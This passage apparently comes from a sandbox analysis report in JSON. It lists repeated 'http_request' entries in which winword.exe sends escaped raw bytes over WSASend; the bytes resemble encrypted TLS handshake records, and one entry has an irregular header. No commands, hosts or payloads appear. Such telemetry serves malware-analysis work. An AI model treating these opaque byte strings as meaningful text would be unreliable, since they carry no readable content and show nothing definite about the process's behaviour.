  556. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x1c\\xb8~\\x85av\\xad8\\xa8#\\xd5;\\x90j\\x00(\\x1by\\xb9\\xe8q\\x83\\x14s5\\xfda\\xb2w`\\xbb\\xc6q0\\xf1\\xc4\\xf8\\x0e\\xb7\\xbbe>\\xf7\\xcfv\\x92'}h\\x01\\x8es\\x83 x\\x1a\\xa7\\xbe\\xc7h\\xb1<\\x9d\\x97\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0008\\x8c,^\\xfb/\\xc4\\x19z\\xcee\\xea\\xb6'\\x0f\\xf7\\xff\\xa4k\\x80xt\\x15w#\\xc3\\xd9\\xff\\x93\\x02\\x0c\\xb7\\xfa\\xe1\\xb8\\x06\\xe0\\x93\\xc6\\xe5\\xbd\\xe3\\x9f\\xf3\\xd7\\xf0\\x9a("
  557. },
  558. {
  559. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04 q\\xef\\x06\\xf2\\xb4\\xf1\\xdf\\xf8\r\\xdc\\x14\\xa7\\x13{\\xba~\\xeenjo\\x86e\\q\\x04\\xc1b\\x1f\\x9f\\xf6\\x97q\\xc5\\x06\\xcc\\xc6\\xa9\\x94\\xd5\ty>\\xa4_k\\x01\\x05c\\x87\\xa7r\\xfd\\x0cz\\xae\\x9d\\xa7\\xc3\\x0cs@\":\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000e@\\xb0-\\xb5j\\x13\\x9a\\xce\\x9a\\x1b*%\\x86\\xc1}s\"\\xa6\\x00\\xd2z%\\x81\\xa8e[\\xee\\xc5\\x16e\\xae\\xee[\\xfa=)&\\x82rv\\xd5zce{s\\xc5"
  560. },
  561. {
  562. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd9k\\xf7xc\\x9b\\xb9\\xf6\\x07,\\xa2\\x8ak\\x08@\\xdd\\x88\\xc9\\xd8\\xe8\\x9f\\xe2\\x895\\xa4\\xe7\\xec\\xac(c\\xe9\\xea\\xeb\\x1al\\xf2log\\x82\\xbd\\xe3{?\\x95\\x8aj\\x1a\\x10'\\xa7\\xbbaz\\x9b\\xce\\xb5\\xaey\\xf4\\xe7d\"\\xde\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000l\r\\xf1\\xd8\\xdb\\x19c\\xf1\\x11d\\x17u\\xf4o\\xb9\\xea]?\\x8b\\xb3!\\xb2k\\xf4_}\\xa4p\\xa3\\x8dw\\x85\\x9b:\\x82\\xb2\\xea\\x86[\\xac\\xe7\\x88\n\\x00\\xd8\\xbe4\\xc9"
  563. },
  564. {
  565. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb3\\xe2\\xedhp\\xfb\\x1b\\xc9\\x88\\xd5\\xfd\\x8b\\xd9pb\\xbf\\xf5\\x1b\\x86\\x9fi\\x94\\x92\\xf6\\xe5\\xda(_\\xef\\x94p\\xe3\\x95\\x83v\\xaa\\xf8\\xe0\\xf2\\xbf(a\\xca\\xd9\\x19\\xd7\\xde\\xccj\\xd8@\\x16`\\xb9\\xac\n7\\x01n\\x81\\xa8`\\xa7\\xcc\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000n/\\xd7\\xa7\\x94_\\xfc\\xb6\\xdeo\\xd4\\x06f\\x17-<\\xc6\\x08.\\x0eb\\xfd4\\xf1{\\xcf=\\xe7\\xa9@\\xb25\\xf4\\xe0\\x80\\xd4\\xab\\x00l\\xc6\\xb40\\x14)\\x0f1@\\x0b"
  566. },
  567. {
  568. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x95\\x1b\\xb0\\x94\\x86\\x96\\xb3\\xbd\\xb7\\x9d\\xd9\\xe63\\x8a\\x0b\\xecyg\\xd9\\xa5z\\x8b\\xbf[i\\x8b\\x16\n\\x11g<\t\\xa3\\x8cn\\x18\\xc2\\x9ab\\xa8ztj\\xf2:\\xd5\\x8ft\\xc7s\\x00\\xefg\\x01\\xdc]\\x12\\x87\\xd0,r\\xb4o\\xaa\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000t\\x90q`sh\\xad\\x92\\xf3g\\xads90\"\\x0f\\xbehd0%\\x16'\\x19\\xe92\\xb0\\xdd\\xec\\x80\\xf6w\\x1a\\xf7j\\x9ak\\x8e\\x16\\x91\\xd5\\xe1\\xa0_\\xf6\\x02\\xaf\\x9b"
  569. },
  570. {
  571. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x0c%\\xb6\\x93\\x16\\x0e\\x1d\\x14\\xc5\\xd6o\\xaf[\\xce\\x89\\xbe\\x0c_\\xda\\x85/bm\\xa1j\\xb4?&m\\xe4\\x13f$\\xe9-\\x85\\xab~\\xba\\xba)|\\xc8\\x15o\\x92h&.*\\x88'\\x7f6$\\x84\\xf3\t~\\xf6y,\\xc8\\x87\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000]\\x81\\x94\\x9b\\xb9\\xc6\\xd9\\x0b\\xe5ng\\xeb,\\x1a\\x8d]fr\\xe0\\x7f6\\xeak\\xc4-\\x7f\\xca#\\xbab\\x8d\\x024\\xa5\\x9ds\\xc8d-\\xa7\\xa3`\\x88\\xaf\nc\\x9es"
  572. },
  573. {
  574. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x88{9\\xdd\\\\xe5\\x0e\\xa7\\xf6\\xc0\\xff\\x0b\\xb3l\\x92\\xac\\xb6\\x9b\\x00\\xd1\\xdd&{ild!\\x9f\\x08\\x9f\\x11\\x00\\x19\\x1b\\xe3\\xc5\\xcc\\x7f\\x98sv\t\\x90\\xa8\\x81-\\x94d\\xaf\\xd9\\xc3\\xf5\\x9d#c\\x90\\xd9\\xaa:\\xe4k\\xe0\\x82\\xc5\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x00\\x1d\\xb21n\\xfe\\x0c\\x96\\xc4\\xb6\r\\xcf\\x01>f\\xf9\\x8c\\xafx\\x1d\\x1cd\\x07\\xc1b\\x1d\\x1fe\\x06\\xbb\\xc8\\xd6$5b\\x99;\r\\x10\\x85\\xde\\xd8tk\\x95z-,"
  575. },
  576. {
  577. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04&?\\x14\\x82\\xe3\\xd0\"\\x96\\x05_\\xf4\\xa2\\xc2g\\x84j\\xf2\\xa7k\\xcf\\xec\\x88t\\x01\\xed\\xda$o\\xea\\x1d\\xe0ns\\xa5\\xb6\\x80/x\\xf9\\xacm\\xa3\\xde\\xa4\\xd2\\x143p\\x0b\\x9e\\x17\\xf5r\\xc9\\xef,zg\\x8e\\xed'\\xc8\\xca\\x1b\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x1e\\x04w\\x9f\\xd8\\xe2\\xb7#'\\xfa\\xb0\\xb9\\x7f q\\xc9\\xbd\\x11f\\x1c\\xf3h\\x10\\xea\\xce\\x01\\xa0\\xa8p\\x08\\x89\\xc8\\xba\\x9ai\\xc1\\xab\\xbb\\xe6\"\\xe6&\\x97\\x01\\xe7\\xbc\\xa4\\xd1"
  578. },
  579. {
  580. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x9a\\xf4\\x12u\\xd7\\xd3\\xa0\\x8a\\x8b^\\xc2\\\\xf9,\\xaedfz&n$\\xf6\\xf3x^\\xae\\xdc\"\\x9f\\x04d-9\\xe5\\x0e3\\x91`sh\\xfc\\xa6p;\\xfd\\xb5\\xc6`\\x16\\xc0\\x9f\\x8b\\xf6\\xd7\\x9f\\xbb\\x8d4i\\xe8\\xfcy\\xbe\\xe6\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x83\\x9d\\x81\\xa6\\x16\\xf6\\xe6\\xc9+\\xfc\\x92|\\xfa\\xcd\\xb3\\x1em)\\xd5%\\xf4<g\\xa4\\xd5)\\xee\\xc4b`i{\\x05i\\x92\\x9e\\xe1\\x1c\\x17m\\xf2\\x99;n/\\xea\\xf8n"
  581. },
  582. {
  583. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xea\\x8b(\\x1e\\xcb\n\\x90\\xe9]\\xf9\\xa6\\x91\\x87=\\xbem\\xf9\\x00\\x17\\x1e\\xd7\t\\xb4\\x12\\x19\\xc2]\\xe5\\xda\\xf6\\xeagj)<s\\xc3v\\xd3\\x12\\xe6\\x9c\\x8fr\\x0f%\\xaf.g\\xe4f\\xd0 ?\\x99\\xbe\\x11\\xd4@q\\x17x\\x89s\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xf4=\\x19\\x9a\\xbf\\xef\\x03\\xab\\xebs\\xf9\\x1a\n\\xc4\\x0c\\xd9\\x8b\\x9a.z\\xdc\\x08\\x84\\x05\\xb3\\x04\\xcd\\x19\\x81\\x9ews\ry\\xad\\x86\\xb9\\x83a\\x98\\xb3\\x06\\xbe\\x88z\\x94\\xe1\\x04"
  584. },
  585. {
  586. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf3f\\x84\\x82b|\\x1a\\x1e\\x10\\xa3\\x99\\xd3b\\x1e\\x06m\\xa2\\x01\\x7f\\xd1\\x0ee\\x99j\\xba\\xbb\\xd4a~\\x05/\\x930-\\xcd\\x1a\\xd1@\\xf2\\xa8\\x14:\\x85t\\xb2;mc5\\x17\\xed\"\\xa2\\x05\\xc48\\x19q\\xf6'\\xf2\\x12i\\xd1\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x7f>d\\x0b8\\xcau\\xdf\ry@l\\x00r\\x17gs\\x8a\\x8e\\x1e'8\\xb3\\x95\\x93$\\xe9\\xa0o\\xf4tyi\\xaf\\x99\\x10ep\\xb4=3=\\x8c\\xbbk*\\x81\\x06"
  587. },
  588. {
  589. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04n\\xa2 \\x90p\\xff\\xb3\\x91\\xe4dy\\x9du8l\\x9f\\x0ew\\xc8\\xbar\\x86m\\xe2\\x13\\xafp\\xf1p\\xfd\\x05\\x81\\xf9]\\xbf\\xb4\\xbdv/]\\xe07_u\"\\xe6\\xe4v\\x1f\\xe1/\\xe8w\\xfele\\\n~\\x9a\t!\\xa9\\xb3\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xf9cr\\x92\\x1c5\\x1d\\x89\\x94\\x91\\x0b\\x8d\\x0c6wb\\xaf\\xa9^\\xd4u\\xdb\\x83\\xea\\xffng\\xb1\"\\xa2\\x8c\\xeea\\x81\\x11\\xc9\\xc7\\xa7\\xc1t\\xea^\\xdd\\xa4\\x13znt"
  590. },
  591. {
  592. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04xk\\x96<\\x9a\\xd6\\x8dv\\xe1g\\x9f\\xc5\\xb2\\xd4\\x81h\"\\xa8\\x10\\xe4m7\\x82\\x93\\xf6n\\xa5\\xd9go\\xe3\\xa4\\x1d^\\xa97wzl\\xee\\xa7\\xf6u\\xef\\x05_\\xe1[8\\x9d{\\xd5\\x9f\\xee\\xc9\\xc6\\xd0g\\xae\\xf3q\\xf1\\xc9\\xd7\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000b\\xc4p\\xaed\\xc9ahn}\\xc5\\xfc\\x8d\\xb15\\x10a\\xf4\\xfddoum\\x0e_$\\x8b\\x17\\x7f<\\xb44]\\x93l\\x00\\xf1x@\\x1e;p\\xbdu\\x92\\\\x92\\x89"
  593. },
  594. {
  595. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04/q\\x1b\\xb5n\\x8ej\\xb6\\xf1v\\xba\\x8a\\xbc\\xaa\\x1e\\xa8\\xfd\\x99\\xff\\x0b\\xd0\\x98c\\xc2\\xc5\\x80\\xf1\\xcd%\\xc9\\xe3b\\x8d\\xbej\\xb1v\\xe8\\x13?ct\\xca{6\\xe9\\x8b\\xba\\xb8|/g\\xdct\\xa2\\x87]\\x86\\x94\\x1d\\x89\\x14[\\x86\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000zx\\x93!\\xfe{\\xe8m\\fu\\xec\\x8b\\xe2\\xb8\\xc6\\xbf\\xf5\\xf9\\xeeu\\x0e\\xe3\\xcd\t\\xab\\xa3\\xf9\\xb0\\x154)\\x94?\\xd3%\\xed[\\xd8\\xd1(@x6m\\x02}\\x93"
  596. },
  597. {
  598. "http_request": "winword.exe_WSASend_\\x1e\\x02\\x01\\x00f\\x10\\x00\\x00ba\\x04l\\x88\\x1f>\\x0e\\x81}`\\xe7n\\x1e`<-jy\\x0e6\\x10\\x90\\xd1}\\x1fq\\x1d\\xfc]\\xeemv\\xfdh\\xbad'\\x8f\\xbb\\x14o\\xd1qu}\\xe8\\x00,\\xb4_\\x0b\\xe1\\xe0\\x97\\x95\\xf9\\xf71\\x90\\x00\\xb3\\x01\\x96\\xac\\xb8\\xd4\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000e\\xc1\\xe5\\xe3\\x11\\xcaew\\xf0|zg\\xadw_6\\x00[e\\xe6p]\\x8e\\xe0o\\xf9\\xd2\\xe4\\x94^s4\r\\xcb\\xa5\\xa6s\\xbci(\\x00\\xd8apb\\xef\\xd2;"
  599. },
  600. {
  601. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x1b,\\x94>\\xe9<x_\\xff\\xaet\\x97sae[\\xac\\xc5\\x0c\\xce\\xf8\\xe5?\\xf2\\xca:\\xd5s\\xc3\\x19\\xece\\x01\\xf43m;/p\\x9a0\\x8cr!\\xaar\\xc1r@ri^p1\\x97\\x11\\x1a\\xbb\\xcb\t\\xab4h\\x1d\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000m\\x15\\xf6@\\x99\\xe6t\\x13\\x18+\\xc9!\\xb8c\\xf2\\x0b`\\x81\\x80w\\x06\r\\x17\\xa3u\\xdc\\xc2\\xd1i\\x05\\xc7r\\xbf\\x9b\n<\\xfa\\x87%#\\x15\\x06t\tfgs\\xe6"
  602. },
  603. {
  604. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x98\\xab\\x80\\xc1\\xea\\x99\\xb43\\x07\n\\x83\\x80\\xae.\\xf4>\\xd0\\xda\\xae\\xb3\\x1bh>\\x8f\\x1f\\xa15\\xd66\\xd0(q3\\x04<\\xb6\\xb9\\xdb\\x97\\xc3\\xfa\\x89\\x05\\x0b\\xc5\\xf4\\xff\\x87=\\xf2t\\x1e\\xf2c\\x03uh\\xfe>~d\\x86\\xb7\\xb4\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xaf\\xb22\\xba\\x1fk\\xb6`\\xd3\\xe1f\\x10\\xc0\\xdc\\xe7\\x8e\\x84\\x06o\\x114\\x08\\xbb\\xbf\\x01\\xc8i\\xca\\xa4\\xbb%y\\xeal+\\x87b\\x97\\xe4\\xc7m\\xc21\\xc70l\\x85\\xc9"
  605. },
  606. {
  607. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xdb\\x93f}n\\x96\\x19j\\xde$\\xbe\\xc5j2\\xdf9\\xe0 \\xe7\\x9a|\\xa8\\xc5\\x91@\\xc6\\xf8$7\\\\x91\\xbd\\x01\\xdc5,\\xfa\\x03\\xf8\\xed\\xa8mx\\xa9\\xfa\\xfaqq\\x04\\xe9\\xf4\\x80\\x12\\x19\\x82x\\xa9\\xf8\\xca\\x13\\x82\\xdf\\xcdo\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb6\\xba\\x88*\\x0b\\x8a!\\xb6m\\x12\\xad\\xea4\\x7f\\x1c\\xff\\x80\\x1a\\xf8`\\xb0\\xb7\\x1cif\\xcf@u\\xe2_\\xfad\\x9ct:`>b\\xc6\\xf1\\x1b\\x1d\\x7f:n\\xfc\\xb2+"
  608. },
  609. {
  610. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x12\\xcd\\xe7\\xa8\\xae\t\\x99\\xdc\\x0b\\x18\\x95j\\x99\\xd2\\xac=\\xe4\\x9dh\\x95\\xc5\\xfa\\x0b\\xf8j\\x15\\x82\\xc4\\x01\\x9fq\\xf3\\x8f=\\xbe\\xc8s\\xe1\\xc1\\x00\\xf0\\x80k\\x98\\xff\\xec\\x0f\\x91\\x19\\x1b?\\xdd3\\xfa\\xd5bj\\x04\\xa5\\x91\\xe0\\x98\\x1b\\x1a\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000ckuk\\x05\\x1a\\x81\\xee\r\\x0f\\xf5?%\\xed\\xcc\\x80\\xb9 yh\\x9f,\\x16\\xbe\\x18j\\xd0\\x8a\\x1f\\xf6h|@\\xc1mh%\\xcf\\xf7u\\xffcnm\\x14\\xa3\\xa3c"
  611. },
  612. {
  613. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xbf\\xc6\"\\xc5\\x0c\\xc4\\xf7\\x85\\x10\\xad\\xe5\\x8a\\x80\\x98\\xa4q\\xe5\\x9fqkt\\xa7a\\x8d\\xeb\\xfe\\xe6\\x0f\\xdas\\xd3\\xba/\\xce\\xae\\x90\\x1fl\\xf0\\xbe\\xba\\x00m\\x1ed\\x83\\x8a\\xe3\\x98_\"v5\\x13r\\xe4\\x18,\\xfd\\xdd^\\x0221\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000z<f\\x02\\xc1z\rz|\\xf0bl\\x15\\x9a\\x802\\x91f\\xb7m\\xaa\\x92e-\\xbf`\\x10+y\\xb1\\xc8\\xb4j\\xfd\\x11z5\\xaa2\\x1f-\\xbd\\xe1^\\xdf\\x92n#"
  614. },
  615. {
  616. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x0e,\\xf1\\xdd\\xc4\\x07>!.\\xb7\\x87t_\\xe5\\x88\\x06>\\x0f-jl\\x82\\x11sg\\xc7\\xa18`\\x90\\xdd\\x8az\\x1d\\xf7?\\x10z\\x81\\xc4*\\xa9\\x8b\n\\x91sh\\xf0~\\x18\\xd3\\xb6\\xd4\\xec_\\x7fe\\xd6\\xc7r\\x00a\\xb5\\x96\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x108/o\\xa2\\xddm\\xc1puh\\xe9\\xb3\\x8af\\xc7\\xbfd\\xb2\\xc5wv7\\xb8r\\x97\\x82jad\\xc7\\xf3\\x80\\x8fqu\\xa0fa\\x1e\\x90\\xd2\\xa9r\\x02h\\x8d\\x1e"
  617. },
  618. {
  619. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd7\\xdb\n\\x14\\x82\\xc5\\x80\\xdf\\xd7tbc\\x86\\xdf\\xa1\\x8fm\\xaeg\\x02s\\x1c\\xc3q\\xf1\\xefq 2\\xbb\\xa4\\xce\\xacj'p\\xd9\\xb5\\x04\\x14\\xa6\\xc4\\x1b\\xfb\\x04\\x8c`\\xe6\\xe0\\x1e?ej\\xf2\\x8a\\x9b\\x80\\xa5\\x8db\\xdb\\xd1\\x003\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x1c\\x1c|\\x88b\\x7fu\\xaa\\x91\\xcc\\xd9\\xbek\\x15\\x8bs\\xe2]\\xf9\\xfe\\xb8\\x1b\\x05\\x93-ba\\x95\\xa8\\x15\\xeb\\xa8g=\\xfci1\\xf2\\xef\\x81\\x1a3\\xf2\\xb5\\xb1\\xb3l\\x8c"
  620. },
  621. {
  622. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x047\\xffd\\x16\\x82\\xab\\x01h&\\xb7\\x1a\\xa7\\xba\\xa9\\x18^\\x1du\\x1c\\x91\\x12@\\x9a^\\xcd\\xf6\\xff\\x85\\x90\\x7f'qz\\xee\\xd6\\x84\\x86\\xf7\\xb3\\xa0\n&\\x16\\xe6md\\x11wv#\\x9a\\\\xd4\\xae\\x82bb\\xab\\x0b\\x85\"\\x97b\\x97\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x96\\xdf9f\\xe1\\xc2\\x07\\x10h\\xa6:\\xf7\\x97u\\xb9\\x04\\x93ns\\xc7\\x87o\\xcb_%\\x99\\x17%\\x97\\xc8\\x88\\xae\\xd5y\\x84\\x87\\xc1\\xb7\\x15\\xd2|\\xbcq\r/\\x83\\x08\\xf5"
  623. },
  624. {
  625. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x8c\\x1d\\x19i\\x7f\\xd7\\xbf\\x93l\\xad\\xf8\\x88\\xe7\\xbcs\\x96\\xe7\\x06\n\\xe5\\x8fel_t\\x7fz\\xa1\\xb0 9\\xc9g\\xef|\\xc8~|\\xa7\\xff\\xaa\\xa0x?olk~\\x9e\\x91\\xd5\"d42\\xd5y\\xd7ia8\"\\xf3\\x92\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x8d2\\x0cs|\\xaf\\xb1\\x05c\\xb7,\\xa7\\xe4\\x8d8\\xf4\\x87\\xfd\\xd4\\xd2g4f\\xc81\\xa0\\xd2\\x0ci\\x19\\x03\\xd3d,\\xaa\\x04\\x14\\x88yu\\xd7n\\x84\\x11\\xd1]\\xf6f"
  626. },
  627. {
  628. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x048\\xb5\\x9d\\x817\\x17\\xf4\\x03\\x01\\x9cxu\\xb5\\x87\\x14y\\xb31\\xbft\\x90\\xed\\xece#hd,\\x8c;\\xbc\\xe7\\xfd{\\x0b\\xab\\xef\\xb3\\x02ei\\x8a\\xbe\r\\xe2\\x97\\x13\\x91\\xdd\\xb5\\x9a+>\"\\xfb\\x8c1\\xcf_\\x00\\x13t\\xd4\\x8d\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa7\\xb1q\\xd7%\"8\\xf9\\x90\\x8f\\x02\\x83\\x930\\xdbx]\\xcf\\xb4\\x11\\xc4\\xea\\xf7\\x92\\xa7\\x04\\x95\\x95pm\\x02p\\x1b\\xdd\\x94\\xdd\\x02\\xc0eh:\\xb4\\xeav\\xc41\\xbb\\xd5"
  629. },
  630. {
  631. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04g\\x98\\xfdx_4\\x95\\xaf\\x98\\x8e\\xce]\\xb3\\xbd\\xf5z\\xa7\\xbc[\r\\xbboj\\xceb?\\xd1~\\x10\\xa9\\xbd\\xb0`\\xb8gn\\x08me#\\xeb\\xfa\\xb6\\xda\\x12\\xc0k8j3\\xf0\\xdd@i\\xdd=\\xf2g\\x91a5xp5\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x08\\x04\\x14\\x11\\x9b\\x94e\\xbb\\xed2\\x9c4uy=\\xc5\\xee\\xc4\\x14\\xb0\\xea\\xed`0\\xb0\\x02t\\x9e&l\\x13\\x0f\\x08\\xdf\\xb5\\x08]~&\\x1c~%;x\\xb0\\x10\\xe6&"
  632. },
  633. {
  634. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x1b\\x99t\\xe5}\\x17\\x82\\xda\\xf67`\\x16\\x10<\\x8ab\\xf5\\xbb\\xe1)\\xd0%\\xd5~\\x00\\x00\\xf5'c\\xcd\\x87#\\x18g\\x17\\xa1\\x07{\\x149q_\\xce\\x01n\\xa3\\xc2.@;\\xcd\\xd1\\xd72\\x98\\xfc1\\x89\\xef\\xd6\\x9f]j{\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x19\\xe4i\\xe5k\\xc2\\x87\\xbb\\x173\\xe8\\x0c,\\xcdk_go\\xec\\x9b\\xe2\\xb6\\xe64\\x89\\xe5\\xe8~\\xa1\\x97x\\xe3\\x9a\\xee8\\xd1&\\x0fo}7\\xc7{\\xa3\\xeb\\x8f\\xe4\\xe3"
  635. },
  636. {
  637. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04/\\xfe\r\\x91'\\x82@\\xcd.\\xcd\\x1b\\x8fv\\xf2\\xcd4\\xfe\\xc8\\xdc\\x85\t1%\\xae\\xc5]\\xce\\x15\\xd3\\xaf\\xe1\\xc4)\\xdc\\xc6\\x1b0\\xd6\\x13\\xa8 a\\xad\\x8a\n\\xf6\\x15r\\xdbw\\xb6\\xe0\\xbd\\x10\\xec\\xa06\\x84\\x8cj<\\xe3_\\x80\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000gn\\xd7\\xb6\\xd4\\x94yw\\xfd\\xb4\\x99\\xd0\\x11$\\xcd$\\xfd5\\x00|b\\xba5\\xf5\\xacwy\\x18\\x19c\\xee\\xfdj''\\x03:\\xe4\\xb9\\x8f(\\xa6m\\xdf2\\xa1\\xea\\xda"
  638. },
  639. {
  640. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x87\\xe9hc#to\\xcf4\\xd4{\\xbfa\\x11\\x04\\xa8q\\xaeu\\xe1\\x9cm\\xf0\\xd7\n\\x00\\xbf\\xc4\\xd1\\x14\\xb4\\x96\\xf4\\x17\\xb3\\xcf\\x83\\xd8\\x16\\xc6\\xa5\\x16\\x11\\xaf\r|zu\\xabcia\\x05\\x92\\xcf\\xec\\x97\\xa0\\x1c\\x96\\xab\\x9b\\xbd\\xdc\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000[\\x19j_\\xf4\\xae\\xf0^\\xe2\\xe5\\xdb\\xf3\\xcd\\xc9fp#\\xd8\\xb52{\\xf2\\x04\\xba^\\xd1e\\x95\\x0c\\xde9\\xa0\\x12\\xee!=\\xaa\\x0c\\xf3do\\xc7\\xd6\\xe4|\\x04\\xc9\\xad"
  641. },
  642. {
  643. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd0\\xd4\\xc4\\xec:!\\xbd\\xf9a\r\\xf4\\x1e\\xc1\\x15;\\x8a&\\x06([$\\xe1\\xce)\\xf9d\\x80\\xbb$/c\\x05\\xa4\\x0e\\xd6\\x8et\\x91h4\\x92\\x02\\xce\\xa4\\x7f\\xd8g_\\xc2c\\xe2^c\\xde\\xf7\\x8d\\xaf\\xd6\\x15\\x15\\xf7\\xc4\rn\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0000f\\x80>\\x9cuc'\\x01\\x19]\\x9an<5\\xa1\\x02}z\\xc9\\xfd\\xb9\\x84\\x89]\\x0c\\x8d\\x85(\\xa2\\xe1\\xf8\\xafvo\nb\\x18]\\xe7ib=47ko\\xa0"
  644. },
  645. {
  646. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf5d\\xc3\\xb0\\xf2\\x9a(t\\x89\\xbc\\x98\\xa7x\\xb9-0\\xa4\\xad&\\xddk:7\\xb01n\\xb32\\x9e\\x168`5g0\\xf5j+\\x9e\\xb6\\xe3z1\\xae\\x01\\xcc\\xc8\\x01b\\x0c\\x9b\\xdd\\xfe_\\xf5u\\xa6\\xec\\x12`\\x81-\\x11$\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0005p\\x9dx\\xacp;i\\xb6\\xdf\\x11x\\x0e\\xdc\\xef\\x05i\\xd9\\xa3\\x88\\xe3d\\x8c\\xedw\t_\\xcb\\x8a\\x9f)=\\x9e\\xc1\\xc7\\x14\\xa8\\x82#\\xc5\\xea\\xcc\\xeaw\\x05\\xef\\xf7\\x1e"
  647. },
  648. {
  649. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xa4\\xb0\\x97\\xcelh\\xa4\\xa4\\x92\\xee\\xf4[j+f\\x11\n\\x941;e>\\x94\\x9cp\\xa5n{\\xd7%\\xe6\\x03\t\\xbdo\\x03\\xb3\\xc2\\xc4o\\xcb\\x91\\x9c\\x8a\\x1e\\x9b\\xe95\\xaa\\xc1\\xe6r\\xba\\xff\\xb4\\xa0\\x98\\x11\\x91\\xfajo\\xeb\\xc7\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd8\\xf2,\\x9b\\x8bnrc\\x98\\xec\\xc4\\xb3!\\xca\\xb0\\x88\\xa0\\x92\\xa3?jy\\xff\\x99\\x8f:h\\xbcf\\xbe\t\\x13\\xa0\\x0b\\x8a\\xc6\\xc8mp\\xbenaq}\\xd4\\xacbw"
  650. },
